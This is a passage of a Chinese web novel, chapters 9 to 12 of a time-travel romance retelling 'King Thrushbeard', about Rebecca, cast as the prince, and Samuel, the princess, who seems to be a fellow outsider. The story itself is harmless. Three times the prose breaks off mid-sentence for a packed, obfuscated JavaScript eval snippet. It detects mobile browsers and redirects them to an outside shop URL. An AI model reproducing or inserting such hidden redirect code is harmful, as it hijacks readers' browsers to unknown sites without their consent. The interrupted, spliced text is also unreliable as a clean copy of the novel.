塞缪尔瞬间停下纺车,反过来捉住她的手,仔细确认过一点事没有后,才抬头看她,目光沉沉。 油灯散发出的幽暗光线下,他眼里如同汪着一潭沼泽死水,叫人一时不察就泥足深陷。 “……我是不是该马上倒下来,陷入沉睡?” 虽然她的眼神看着很吓人,但瑞贝卡敏锐地捕捉到了她心软的信号,趁机求和,朝她歪头一笑。 “没事啦,我皮糙肉厚的,一点儿也没觉得疼。” 她指腹的确常年覆着厚厚一层茧,别说被纺锤扎了一下,就是被狼牙棒扎了一下,恐怕也—— 不行,被这个扎真会出事。 还敢嬉皮笑脸的…… 塞缪尔颌角绷得紧紧,就着这个姿势把她拽进卧室,一把握住她的双肩,将人按在床上。 “干嘛?”瑞贝卡仰脸望着她,眨眨眼,“你原谅我啦?” “谁要原谅你……” 塞缪尔依旧不看她,走到另一张床旁边,躺下,“不是说要陷入沉睡?睡吧。” “等一下,你刚才把纱布拆了,手又差点儿受伤,我先重新给你上药再——” 剩下的话被塞缪尔一个眼神瞪回了肚子里。 “不想睡觉,我们也可以做些别的事……” 公主向来清冽的少年音微微压低,带着些暧昧的喑哑,“结婚这么久了,我们还没——” “劳动了一天好累啊我困了先睡了晚安!” 瑞贝卡光速吟唱完,飞速缩进被子里,心跳怦怦如擂鼓,一声大过一声。 ——完了,最担心的事情,果然还是发生了! 9. 歌鸫胡王子(9) 虽然她推测公主和吟游诗人并没有做一些不能过审的事情——因为以歌鸫胡王子那变态的尿性,肯定会认为第二次婚礼才是两人真正的婚礼,什么该做的不该做的都要等到那之后才会发生。 而她那时应该已经完成任务脱离世界了,公主和王子想干嘛跟她半毛钱关系都没有。 ——但架不住公主主动要求啊! 她瑞贝卡既没有工具,也不喜欢女人——这不等于把她架在火上烤吗?! 她一烦恼就想叫NO.1出来给她支招,但叫了半天,NO.1也没回应她。 于是瑞贝卡驱动次空间里的小人睁开眼,就见它正拿着根棍子在地上写写画画些什么。 瑞贝卡走到NO.1身后一看,发现它写的是“R.I.P.”—— 哐叽! 「啊!」NO.1惨叫一声,「谁!是谁!次空间也会闹鬼吗!」 它脑袋在脖子上转了个一百八十度,就见跟瑞贝卡长得一模一样的小人就站在它身后,咧嘴一笑,握成拳头的手缓缓张开,对着它挥了挥,「嗨!」 「老大我错了!」NO.1立即抱头求饶。 「我离玩完儿还早着呢,你给我写什么R.I.P.?」 瑞贝卡拍拍手,盘腿坐下来,「快给我想想办法,万一公主想跟我过夫妻生活怎么办?」 「说自己性无能呗!」NO.1见瑞贝卡真的没有责怪它的意思,当即便放松下来,心直口快道。 瑞贝卡:「……有哪个男的愿意承认自己性无能?」 虽然她没当过男的,但她有手有眼睛,会上网刷视频——她曾经看过一个教男性戴避孕套的视频,那博主第一句话就是“不要再说自己戴不上了”,差点儿没给她笑个半死。 连去买套都要买最大号的,还要装作戴不上,简直就是王八垫桌脚——硬撑。 哦对,硬了也不一定能撑得住。 NO.1一想,觉得她说的对。 于是作为001号辅助系统的它恪守职业素养,调出了刚才她与塞缪尔对话的录像,摩拳擦掌准备给瑞贝卡想个一劳永逸的法子,让公主死了这条心。 瑞贝卡也没指望它马上就能给自己想出办法来,驱动意识回到身体里,打算先睡觉,明天早上起来再说。 正当梦神摩耳甫斯挥舞着无音翼悄然降落在瑞贝卡身边时,双肩忽然被握住,一阵大力晃醒了她。 「老大,快醒醒!我有个不得了的发现!」NO.1急促唤道。 高扬的雪白羽翼在空中一顿,摩耳甫斯降落失败,气哼哼地离开了。 瑞贝卡睁开眼,从次空间的躺椅上坐起来。 「什么发现?」 「你看这里!」 NO.1急不可待地伸出芝麻大小的手指,拖动悬浮光屏上的进度条。 瑞贝卡抬眼一看,就见塞缪尔坐在纺车前,握着她的手指,正低着头,专心观察她有没有受伤。 油灯晦暗的暖黄灯光下,她乌黑额发投下的阴影正好挡住双眼,愈显得细细的鼻梁光滑笔挺,唇瓣红润饱满。 「怎么了?」瑞贝卡没看出来哪儿有问题。 倒是灯下的公主,比平时看着更漂亮了。 「哎呀,老大真是笨蛋!」 NO.1见她迟迟不开窍,急得都快冒汗了,「这之后发生了什么事,你自己好好想想!」 「不就是我拿《睡美人》的情节和她开玩笑,缓和气氛吗?」 瑞贝卡依言,努力回想着。 「问题就出在这里!」 NO.1见她终于讲到点子上,浑身紧绷一下子松懈下来,语速却机关枪似的更快了些—— 「你知道《睡美人》这个故事不奇怪——可是公主作为一个原本就在童话中的人,怎么可能会知道另一则童话的主角和剧情发展?你被纺锤扎了就说要陷入沉睡,她就真的一点也不纳闷你为什么要这么说吗?一般人都想不到纺锤怎么会跟睡觉联系在一起吧?除非她本来就知道这一剧情!」 就像“奇变偶不变,符号看象限”一样,不懂的当然不知所云,但懂的人一定能明白这句话是什么意思。 「——可原著里没写,她就该不知道才对!」 随着NO.1嘴里的最后一个字落到地上,瑞贝卡背后猛然起了密密麻麻一层鸡皮疙瘩。 「照你这么说……」 瑞贝卡喃喃,经这么一解释,她已经充分明白了NO.1的未尽之言。 「塞缪尔,根本不是原来的公主?」 NO.1进一步提醒她:「你不也不是原来的王子?而且你本该被分配到的,就是公主的身份!」 「你的意思是——她也是时空管理局的调查员?!」瑞贝卡不敢置信道。 「看来老大你还不算完全朽木不可雕。」 见她终于脱口而出那个看似难以置信、实则正是唯一可能的答案,亢奋了半天的NO.1这才卸下全身的力气,软软躺在地上。 排除一切不可能的,剩下的即使再不可能,那也是真相。 如果说,任务世界中,唯一可供穿越时空而来的调查员容身的身份是“卯眼”,那么调查员的灵魂就是“榫头”——凹凸结合,严丝合缝,使得原本出现异常而动荡不安的任务世界依然能在庞大的时空流中屹立不倒。 直到调查员修复异常、维|稳成功,脱离任务世界,回到现实。 ……但要是,一个卯眼里,嵌入了两块榫头呢? 即使瑞贝卡没学过建筑,都知道这是根本不可能的事。 就算连接处留有供木材热胀冷缩的空隙,也不可能再插一块榫头进去——那缝隙才多大?撑死插几张纸而已。 局长也没跟她提过会再派一个人来协助她……那塞缪尔作为另一块“榫头”,是怎么插进“卯眼”里来的呢? 这难道就是自己被“挤”到王子身份上的原因? 但既然在身份初始化阶段就出现了问题,难保当前所在的这一任务世界的原有秩序不会被蝴蝶翅膀掀起的风暴搅乱,从而出现其它Bug。 「好了,现在你知道塞缪尔的确有问题了,打算怎么做?」 完成了一番精彩绝伦的推理后,NO.1心满意足,躺在地上划动几下四肢,懒懒地问。 「我……」瑞贝卡难得犯了难。 她被这一锐利的问题扰得心烦意乱。 不管塞缪尔是敌是友,终归是一个活生生的、有自尊心的人。前面这些磋磨她都不忍心让对方承受,更何况是后面那些更伤人的、几乎是把公主踩进泥里践踏的情节呢? 现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359693|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道公主不仅有自我意识,而且还是同样从现实中来到童话世界的人,她就更不可能下得去手了。 「……我不知道,再让我想想吧。先睡了,晚安。」 瑞贝卡闷闷地说完,意识就退出了次空间,倒头便睡。 至于睡不睡得着,那就是另一回事了。 …… 另一张床上。 「你生气了?」NO.2问塞缪尔,「她的话好伤人,我都有点看不下去了。」 「本来是有点生气。」 塞缪尔把呼吸渐渐调整均匀,闭着眼睛答。 「但仔细一想就不生气了……变成这样,不是她的错。」 相反的,他反而很高兴,看见了她别人看不见的另一面。 「我会告诉她,什么才是对的。」塞缪尔势在必得道。 她对他的愧疚,不也是增添自己在她心中分量的砝码么? 她对他的好、对他的坏,他都会视若珍宝、全盘接收; 同样的,她的这些情绪,也只能对他一个人流露。 NO.2嗤了一声,心道:什么才是对的、什么才是错的,不也是她教会你的么? 但它并未将其付诸于口,只是嘴上敷衍道:「祝你成功。」 塞缪尔没吭声。 他表面上装睡,实则侧耳细听。 等瑞贝卡的呼吸也慢慢平缓下来后,塞缪尔翻身起床,把自己那张床往瑞贝卡那边推,直到两张床紧紧并在一起、一丝缝隙也不留,他才回到床上,长臂一伸,将瑞贝卡的身体捞进怀里。 像以前每一个依偎在一起的夜晚一样,他抚着瑞贝卡的发丝,虔诚地轻吻了一下,然后用一只手握住她的两只手,又把她冰凉的脚夹在自己小腿之间,用自己的体温温暖她。 在这一过程中,瑞贝卡仍然双眼紧闭,沉沉睡着,微微颤动的睫毛扑在眼睑下,对他所做的一切一无所知。 …… 第二天醒来,瑞贝卡伸了个懒腰,往塞缪尔那边看了看,几步开外的那张床已经空无一人。 这家伙,醒得还真挺早呢,倒显得她这个做丈夫的像头懒猪。 但懒猪本猪对于自己赖床这件事非常理直气壮——她一没偷二没抢,对黄赌毒更是避之不及,既然并无任何不良嗜好,只是爱睡懒觉了一点儿,又有什么错呢? 昨晚终于睡了个好觉,所以她今天心情大好。 新建这座小木屋的决定,简直不能更正确了! 窗外有鸟儿啾啾地叫唤,清脆悦耳。瑞贝卡下床,穿上拖鞋,走到起居室,俯下身去看塞缪尔昨晚纺的纱。 因为NO.1又在提醒她走剧情。 这句台词本来昨晚就该说了,但是她刚说错话、惹塞缪尔生气,那种情况下,怎么可能再火上浇油呢? 做贼心虚似的左右看看,确定塞缪尔不在后,瑞贝卡这才清了清嗓,道:“你瞧瞧,你什么活都做不了,跟你一块儿过日子,我可真是——” 她嘴里的话在她的视线投到纺车上时,戛然而止。 每一根雪白的纱线都是那么细致、均匀、光滑,并未出现她想象中的毛糙、粗细不一、起小疙瘩。 就算她完全不懂纺纱,她也能看出来,公主纺的纱绝对是上品,要是拿出去卖,一定能卖个好价钱。 10. 歌鸫胡王子(10) 「继续啊?」 NO.1发现任务进程动到一半就不走了,纳闷地问。 「怎么不说下去了?」 “……越过越差了。” 瑞贝卡盯着那些丝线,喃喃自语,心头的疑云越滚越大。 公主怎么可能会纺纱? 而且纺出的纱线质量还如此上乘。 她在王宫里,有那么多佣人伺候,估计连香膏都不用自己擦,更不可能去碰纺车。 ……所以,塞缪尔果然也不是童话中原来的人物。 她要问一问她吗? “什么越过越差?” 恰在此时,瑞贝卡听见身后传来清澈干净的熟悉声线,连忙掩住脸上狐疑的神色,转过身去。 塞缪尔逆着光站在门口。 他把一头黑发用头巾挽在脑后,身上穿了一件新的粗布麻裙。 面容素净,但乌发红唇,白皙的皮肤在清晨的阳光下晕着柔和的光,整个人如同林间的仙子缓缓走来。 瑞贝卡还在愣神的时候,塞缪尔已经走到她身侧,把自己起了个大早、去城里买来的早餐放在崭新的小木桌上,而后轻轻揽住瑞贝卡的后腰,微微俯下身,在她光洁的额头上落下一个羽毛般的吻。 “早安吻。” 塞缪尔温柔地说,绿眸中水色一晃,苍翠欲滴。 “今天你起得好早,真棒。” 她掌心的温热隔着衣衫源源不断地传来,烫得瑞贝卡整个人都烧起来,额头上的那个吻更是霎时间点燃了导火索—— 瑞贝卡噌地窜出去几米远,捂住刚才被塞缪尔吻过的地方,慌得连胳膊都在细细打颤。 柔软的触感仿佛还残留在皮肤上……她觉得自己现在简直像一头跟大灰狼同住的小绵羊! 不是说了“不要随便把自己的吻给出去”吗?公主的记性怎么这么差! 还有,公主到底看上她哪里了?!她改还不行吗?! 给她好好走剧情啊! 她感觉自己的首席宝座正在如奶油般化开! 见瑞贝卡又色令智昏,绝望的NO.1对她早就没有期待了,只有两字: 「……大姐,说词儿啊!」 经它这么一提醒,瑞贝卡总算想起来正事,抖着嘴唇,坚强地继续念台词:“现在,我得开始试着进些锅罐瓢盆、陶制餐具什么的;而你,就负责到市集上去守摊,叫卖我进的那些货。” 塞缪尔见她兔子似的一蹦三米远,抿着唇微微笑了,无可奈何似的摇摇头,伸手去拆自己带回来的纸包。 听见她的话,也只是手上动作蓦地一僵,便点点头,“好。” 她的乖顺让瑞贝卡顿时心生愧疚。 可是自己又能怎么办呢?她也得走剧情呀。 瑞贝卡决定,至少之后,在她骑着战马踏碎公主叫卖的陶器时,要收着点儿力,千万不要伤到公主。 不过即使没有这一茬,她本来也打算这么做。 塞缪尔给她带回来的早餐是两块蒙布朗和一牛皮袋犹带热气的牛奶。 这个时代的蒙布朗还很简陋,只是用捣烂的栗子泥与打发后的鲜奶油简单地混合在一起,就大功告成了。 好在不管是甜甜的栗子还是绵密的奶油都是瑞贝卡喜欢的食物,混在一起也非常美味,细腻的质感入口即化。 令瑞贝卡感到意外的倒是那一袋牛奶——虽然热牛奶不算难弄到,但她从来没说过自己想喝,塞缪尔又是怎么知道的? 瑞贝卡一边咀嚼吞咽,一边盯着公主纺线的动作思考。 公主的脚踩在踏板上,不疾不徐,但纺轮就是转得既飞快又匀速;她一只手捻丝,另一只手把丝结成线,然后不时将线旋紧,摁实后缠成一整卷,任其自由落在地上。 这一系列动作,瑞贝卡看得都眼花缭乱,但塞缪尔竟然表现出了十足的游刃有余,指尖灵巧地穿梭其中。 ——昨晚仓促又混乱,她竟然没发现,塞缪尔纺线的工序也是完全正确的。 瑞贝卡正踌躇着要不要问她,是不是和自己一样,也是从时空管理局来的,目光落到塞缪尔的手指上,却猛地一滞: 公主常年养尊处优,手指还是太柔软了,这才纺线纺了多久,白嫩的指尖已经被勒得泛红。 虽然之前给她敷的外伤药效果不错,被柳条扎出来的伤口已经好了七七八八,但一纺线,肯定又要流血了。 “……你不要再纺了。” 瑞贝卡实在看不下去,皱着眉按住了轱辘转动的飞轮。 在塞缪尔面前,她难得硬气了一回:“我已经说了让你去卖陶器,那活计不伤手,动动嘴皮子就行了,你为什么还非要干下去呢?” 塞缪尔原本正专心纺纱,突然发现踏板像是被卡住,再踩不下去。 他稍稍抬起头——即使是坐着,他也没有比瑞贝卡矮上多少。那双迷人的绿眼睛带着些微的迷茫望着她,脸上却满是诚实的坦然,“我想给你做双袜子,睡觉的时候穿——你的脚总是冰冰凉凉的,肯定睡不安生吧?” “再说,被弄伤手也不怕,等后面磨出茧子来,就不会再受伤了。” 闻言,瑞贝卡一愣,塞缪尔却已经轻轻挪开她放在纺轮上的手,低头,继续踩起踏板来。 「你发什么呆呢?」 NO.1见瑞贝卡像被按下暂停键那样僵在原地,纳闷地问。 「NO.1,我……」 瑞贝卡依旧长久地望着塞缪尔,但眼里的一切已经渐渐失去具体轮廓,只剩下一片各种颜色交织的光影,仿佛连她的视网膜都跟着化作了虚无—— 此时此刻,她像是在注视着塞缪尔,又像是在透过塞缪尔,穿过遥远的时空,注视着什么人。 心脏越跳越快,脑子里反复回荡着塞缪尔最后那句话,却已经完全丧失了思考能力。 好耳熟……是不是以前就在哪里听过? 而且她和塞缪尔,分明是萍水相逢的陌生人,塞缪尔为什么要对她这么好? 她神志恍惚地问NO.1: 「我是不是,以前就见过塞缪尔?」 「就算见过,你也记不住啊。」 NO.1一摊手,「虽说你对长得漂亮的,确实印象深刻一点。但日子一久,还不是忘得干干净净?你想想,这些年你见过多少美人,有哪一个例外过?」 在时空管理局里,外貌出众的人不少,仰慕瑞贝卡的人也不少。 在时空管理局之外的任务世界,鲜眉亮眼、形貌昳丽,令人印象深刻的人物角色,更是一抓一大把。 但在她视线以外的地方、在她与对方对视过后,这些人美丽的面孔,就像被打上了千篇一律的马赛克,没过多久,就平滑地从大脑皮层上溜掉了。 无一例外。 对于好看的、有特点的人尚且如此,对于那些容貌普通的人,她就更记不住了。 她在时空管理局工作了这么多年,没有亲近的同事、没有能说句心里话的朋友、没有建立起任何亲密关系,很大程度上,应该跟这一由心理创伤所导致的脸盲症相关。 「……也是。」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359694|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> NO.1说的没错,瑞贝卡低低应了一声,心情有些沮丧。 「去进货吧。」 面对瑞贝卡显而易见的低沉,NO.1招架不来,只好笨拙地让她用另一件事来转移注意力。 忙起来吧,一忙就没空胡思乱想了。 瑞贝卡听从了NO.1的建议。 她走出门,屋外阳光正好,透过层层交叠的鲜绿叶片洒下来,暖洋洋地照在脸上。 她微眯起眼,不自觉仰起头,沐浴着温暖的阳光,忽然似有所察觉,转身看去—— 不知何时,塞缪尔已经从纺车前站起来,走到门边,修长的身体几乎填满门框,宽肩斜斜倚在门边,沉静地看过来。 她一定是造物主的宠儿,就连向来普照万物的阳光落到她身上,也不免多了几分偏爱——炫目的日光投到她肩上,便柔柔地化作了一池粼粼晃动的金水。 塞缪尔碧绿的眼眸中星辉斑斓,唇角扬起一抹似有若无的笑意。 投向瑞贝卡的专注眼神,仿佛在看失而复得的珍宝。 与她四目相接的那一刻,瑞贝卡的心脏不受控制地狂跳起来,鼓噪得连鸟鸣声都盖了过去,满耳只能听见自己心跳的怦咚声。 她匆匆收回目光,抬脚就走,几乎是落荒而逃了。 「你跑什么?她又不会吃人。」NO.1诧异道。 「……那可不一定。」 那个眼神反复在眼前回放,瑞贝卡含糊道。 她在森林中一路小跑,靴底踏在泥土之上,风把她的裤子灌得肥大,呼呼作响。脚边的落叶被她刮起的狂风卷到空中,又打着转儿悠悠落地。 直到城市的轮廓隐隐在不远处浮现,瑞贝卡才慢慢放缓了脚步。 看不见塞缪尔,胸口那股难受到近乎窒息的感觉总算好上不少。 城市就近在眼前。虽然受科技水平限制,这个时代的人们还没法盖起太高的楼,但在建筑外观上肯下功夫,光看屋顶,就各式各样的都有: 像锥子那样尖的塔楼、圆圆的半球形穹顶、直面街道的阶梯形山墙……许多楼房的外墙还会刻一些精美的雕花,繁复的几何图案看得人眼花缭乱。 衣着整洁的人们就游走在这些建筑之间,往来交谈热情亲切。 参差错落,井然有序。虽然称不上高楼林立,但不难看出,经济水平非常繁荣,想必统治者的治国水平极佳。 「这是我治下的城市?」 瑞贝卡眼前一亮,方才的闷闷不乐一扫而空。 「I''m the KING OF CITY!(我是城市之王!)」 「好好好,king of city,赶紧的吧。」 见瑞贝卡马上要旁若无人地振臂高呼了,NO.1赶紧哄孩子似的哄她,「别把正事忘了就行。」 瑞贝卡进了城,一路时走时停,左看看、右摸摸,每一件事物对她来说都是那么新奇。 她不过是扫了一眼串着苹果的铁烤架,那摊贩便立即取下一只漂亮的焦糖色烤苹果,强硬地塞进她手里; 有摊贩见她双眼发直地望着香喷喷的热蜂蜜酒,便主动盛了满满一陶杯,爽朗地请她试喝; 还有摊贩望着她美丽的红发和金眸惊叹,一把拉过她充当临时模特,把金灿灿的项链、绿洲般的绿宝石额饰、鸽子血似的红宝石耳坠拼命往她身上挂。 “谢谢啊,但是……” 瑞贝卡顺从地任由那小姑娘把自己当首饰架,满脸纠结。 “红配绿,这很难搭得好看吧?” 11. 歌鸫胡王子(11) 那摊贩是个年轻姑娘,闻言,上下认真看了看她,肯定道:“你戴什么都好看!” 这姑娘摊子上正好有一面被磨得光亮的铜镜。瑞贝卡往里一照,顿时沉默了。 ——她之前涂在身上那层颜料还没掉完,这会子整个人乌漆嘛黑,像是刚从非洲挖矿回来一样,全身上下最亮的地方是牙和眼白,也真亏这姑娘开得了口。 瑞贝卡遂怀疑道:“……真的?” “比珍珠还真!”姑娘脸上的表情十分认真严肃,不似作伪。 ……于是瑞贝卡也开始认真思考,是不是深色的皮肤更衬珠宝。 这姑娘见她在短短几分钟之内沉默了两次,还以为自己的赞美不够真挚,忙拉着瑞贝卡的手,嘻嘻一笑。 “多亏了你给我当活招牌,这才一会儿功夫,就有这么多人来我的摊子!这三件首饰,我都送给你了!” “那怎么行!” 瑞贝卡大惊,赶紧摘下项链和耳坠交还到姑娘手中,正要抬手去拆额饰时,小臂却被猛地按住了。 “我知道您是王子殿下,大家也都知道,只是装作没看出来罢了。” 那姑娘附在她耳边,神神秘秘道。 瑞贝卡闻言一惊——这么说,难道他们以为她收租来了?所以才尽力讨好她? 可恶,她还以为这里的人真的都那么热情好客,原来事实的真相是这样的。 不过话又说回来,他们是怎么看出来她是王子的呢? 瑞贝卡正在思考,就听那姑娘把嗓音压得低低的,又开口说话了。 “这一头红发,和金子般灿烂的眼眸,举国上下,也就只有王室的人才会拥有了。这座城市在您的治下安定又兴盛,我们大伙儿都很感念您的恩德呢!所以就请您收下吧,您为我们带来的,已经远远超过这些小玩意儿的价值了。” 话虽如此,瑞贝卡还是没法厚着脸皮不给钱。 她像刚才对待卖烤苹果和卖蜂蜜酒的小贩一样,趁其不备,迅速往这姑娘手里塞了一枚金币,然后拔足狂奔,一直跑到宫城脚下,才气喘吁吁地停下来。 虽然早有预料,但实际情况还是超出了瑞贝卡的想象: 外围的守卫根本不开口要看她的身份证明,只是往她身上扫了一眼,就立即抬起右手,将掌心贴在左胸上,微微躬身,恭敬地请她进去。 “你们这样松懈可不行,就不怕我的头发是染的吗?” 瑞贝卡皱着眉扯了扯散到颊侧的一缕发丝。 “冒充王室可是要砍头的死罪,谁敢胆大包天犯下这样的罪行呢?” 守卫面上闪过一丝讶色后,还以为这是瑞贝卡给他的考验,便恭谨而惶恐道:“而且金眸可是龙之后裔的标志,还有什么高明的魔法能把这一点也伪装出来呢?更别提我们心中始终牢牢记着您的面容。” “我们不会认错的,您就是这个世界最至高无上之人。” 半个小时之后,瑞贝卡被迎进王宫,端坐在纯金王座上,还在紧拧眉头,陷入深深的沉思之中。 「你到底在烦心些什么呢?」NO.1关心地问。 「这么牛逼哄哄的身份,你唯一要做的就是享受,不是吗?」 「……我只是在想,这个世界,还有根据我的外貌,自动修补设定的功能吗?」 瑞贝卡跷着二郎腿,早已将绿宝石额饰解下放进口袋,又把盘在脑后的发髻拆了,指尖拎着一缕头发悬在眼前端详。 「《歌鸫胡王子》这个故事里根本没有对王子和公主的外貌进行描述,而我本来就长这样……这个任务世界却连什么“龙之后裔”都编出来了。这么智能的世界,真的需要调查员进来修复异常、维持稳定吗?」 「而且,为什么通关的条件之一,是“公主的心愿”?那言外之意,不就是“公主的心愿”等于“我要修复的异常”吗?可为什么“公主的心愿”,会是威胁世界稳定的因素?」 「守卫对我说的那句话也很奇怪:什么叫做“这个世界最至高无上之人”?不应该限定在“这个国家”吗?而且就算限定在这个国家,我也不该是那个“最”——上头还有国王呢。国王尚且在位,他就敢在公开场合对王子说这种话,就不怕被打成乱臣贼子、拉出去砍头吗?」 「……别闹,我鸡皮疙瘩都起来了。」 NO.1听得身上一凉一凉,忍不住用两颗芝麻小手搓搓自己冰冷的机身。 本来它还没觉得有哪儿不对劲,经瑞贝卡这么一分析,真是细思极恐。 就像打着“修复异常”的名头,把调查员骗进来,然后……把人一个个吞吃殆尽。 在瑞贝卡进来之前,那些失踪的调查员,到底去哪儿了? 一进来就被强制切断了与主系统的联系,怪不得连求救信号都发不出去,简直就是叫天天不灵叫地地不应。 果然靠人不如靠己,幸好瑞贝卡平时就有囤积物资的习惯,不然连外伤药都拿不出来给塞缪尔敷。 「你一个系统,连铁锈都没有,哪儿来的鸡皮疙瘩?」 瑞贝卡笑着吐槽它,「先走一步看一步吧,反正还没有到绝境呢。」 有权有势就是好,什么都不用自己动手。瑞贝卡只是吩咐下去,说自己需要一批锅碗瓢盆,就有大臣毕恭毕敬地上前,问她需要金子打的还是银子打的、要雕什么花、嵌什么宝石、需不需要让工匠连夜赶制…… 瑞贝卡汗颜:“停停停,不用那么麻烦,派人上市集给我买一批陶的就行了,最粗糙的、几枚铜币就能买一大堆的那种,别买错了——也别买贵了。” 大臣一愣,简直不敢相信自己的耳朵,“您确定要粗陶的吗?如果不喜欢金银,也可以选琉璃制的,还有从东方大国远道而来的货商献给您的精美瓷器……” “别罗里吧嗦了,就陶的!”瑞贝卡坚持。 “您怎么能用那种粗劣的东西进膳呢?”大臣满脸不赞成。 “谁告诉你我要用它们吃饭?我是要把它们拿出去卖!” 瑞贝卡无奈了,板起脸训话:“这也是我追求公主的重要一环!要是我失败了,这座城市没有等来它的女主人,我就把你们全部赶回家,把你们的位子空出来给别人坐!” “是!我们马上去做!”大臣们一听,吓得马上擦着汗退下去办事了。 …… 这天傍晚,瑞贝卡带着一群人浩浩荡荡回到了她和塞缪尔栖身的小木屋。 塞缪尔正在屋子外头的空地生火做饭,见状吓了一跳,忙擦了擦手,快步走过来挽住瑞贝卡的胳膊。 “老公,他们是谁?” 虽然他已经很努力地把自己缩在瑞贝卡身后,装出一副瑟瑟发抖的害怕样子了——但如果想用柚子挡住西瓜,那也无异于天方夜谭。 由大臣和宫侍伪装成的商人们悄悄用余光打量着这位“王国未来的女主人”,心道她怎么长得这么高大,难道这就是自家王子喜欢她的原因? 怪不得王子殿下一直没有心仪的王妃人选,原来是喜欢这种类型的,那就不奇怪了—— 不要说女人,就是男人,这么高挑的,也非常少见呀! 不过容貌的确出众,希望她和王子恩恩爱爱,两人一定能诞下优 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359695|199736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质的下一代! “我去进了些货,但一不小心,买得太多,这些热情的商贩一定要帮我送到家,哈哈。” 瑞贝卡额上的热汗都快下来了。她干笑了两声——要换成她是公主,肯定会怒骂吟游诗人:什么叫做“不小心买了太多”?兜里少了几个子自己心里没点数吗! 而且看这些商贩对自己诚惶诚恐、恨不得把她供起来的态度,明眼人都能看出来她和他们的关系绝对不止顾客和商户那么简单吧?! 这借口她自己都不信,难道还能把公主骗过去吗? 她正滴溜溜转着眼珠子思考对策,就感觉握在胳膊上的手稍微紧了紧,头上忽然传来一声轻飘飘的叹息,像羽毛似的,悠悠转转,一路飘进她心底。 “唉……要是在那市集上,碰巧遇见我父亲王国里来的人,看到我坐在那儿,大声叫卖,他们该怎样嘲笑羞辱我啊。” “……” 瑞贝卡简直不敢相信自己的耳朵。 这么拙劣的谎言,她居然真的信了?而且也没有丝毫要反抗自己的决定的意思! 小公主,你怎么这么逆来顺受?你要奋起啊!你要反抗啊!你要翻身做主啊!光明的未来要靠自己争取,一直这么软糯是没有出路的! 瑞贝卡面颊肌肉微微抽搐着,用了百分之一百二十的努力,才把那句“你不用去了”拼命憋回肚子里。 但话又说回来了,这句话真是闻者伤心、见者落泪,塞缪尔又长得那么漂亮,垂着长睫、压着唇角,一脸灰暗落寞的样子,真让人恨不得把世界上所有的好东西都端到她面前哄她开心。 大臣们和宫侍们先是瞅了瞅他们的王子殿下,又瞅了瞅这位“王国未来的女主人”,目光在两人之间来回打转,嘴巴张张合合,一副欲言又止的样子。 瑞贝卡正憋得难受,见状终于找到了发泄口,便瞥了他们一眼,“有屁要放?一脸便秘样。” 众人吓得赶紧低下头,“没、没有!绝对没有!” “老公,他们怎么这么怕你?你买东西没给钱么?” 塞缪尔微微歪头,诧异地看向那群一脸惶恐的人,见他们疯狂摇头,才收回了满含威慑的视线。 瑞贝卡无语:“我像是那种会吃霸王餐的人吗?” 塞缪尔闻言一笑,像哄她似的,亲昵地抱着瑞贝卡的手臂晃了晃。 “好吧,我可以去叫卖这些锅碗瓢盆。但是,我们的家离城市那么远,我一个弱女子,怎么搬得动呢?老公陪我去,好不好?” “嘿嘿,好——不不不不不好!” 站得近了,公主身上那股好闻的玫瑰清香一个劲地往瑞贝卡鼻子里钻。瑞贝卡被这不加掩饰的亲昵动作晃得脑子都找不着北了,刚迷迷糊糊痴笑着应了个“好”,就被NO.1敲锣打鼓疯狂提醒还要走剧情假扮成轻骑兵去砸场子。 惊得她神智瞬间清醒,嘴皮子连炮珠似的吐出了一连串的“不”,还噌噌噌一连后退了好几步,如临大敌地瞪着塞缪尔。 ——可恶,公主真是狡猾,竟然对她使出美人计! 而且自己竟然可耻地中计了! 难道她引以为傲的自制力,其实薄弱得跟纸一样吗! “不好?” 塞缪尔一时不察,竟真让她挣脱了。 他一脸受伤地望着她,眼眸像雨后的绿叶一样湿亮。 谁在乎丢不丢脸,他在乎的,从来只有瑞贝卡会不会陪他一起去。 只要她陪他一起去,就算要把整个城市的锅碗瓢盆都卖干净,就算整个城市的人都来看他笑话,他也甘之如饴。 12. 歌鸫胡王子(12) “当然不好!”瑞贝卡振振有词道。 “为什么不好?”塞缪尔委屈地望着她。 “因为、因为……” 瑞贝卡没想到塞缪尔会反问她,一时词穷。 她“因为”了好半天才灵光一现,清了清嗓,说:“你都这么大个人了,难道做什么都要人陪着吗?我是你老公,又不是你妈!你不能一直依赖我,否则,将来要是哪一天我离开你,你可怎么过活呀!” “你要离开我?” 塞缪尔眼眸一冷,绿幽幽的深潭霎时结冰,浑身飕飕放冷气。 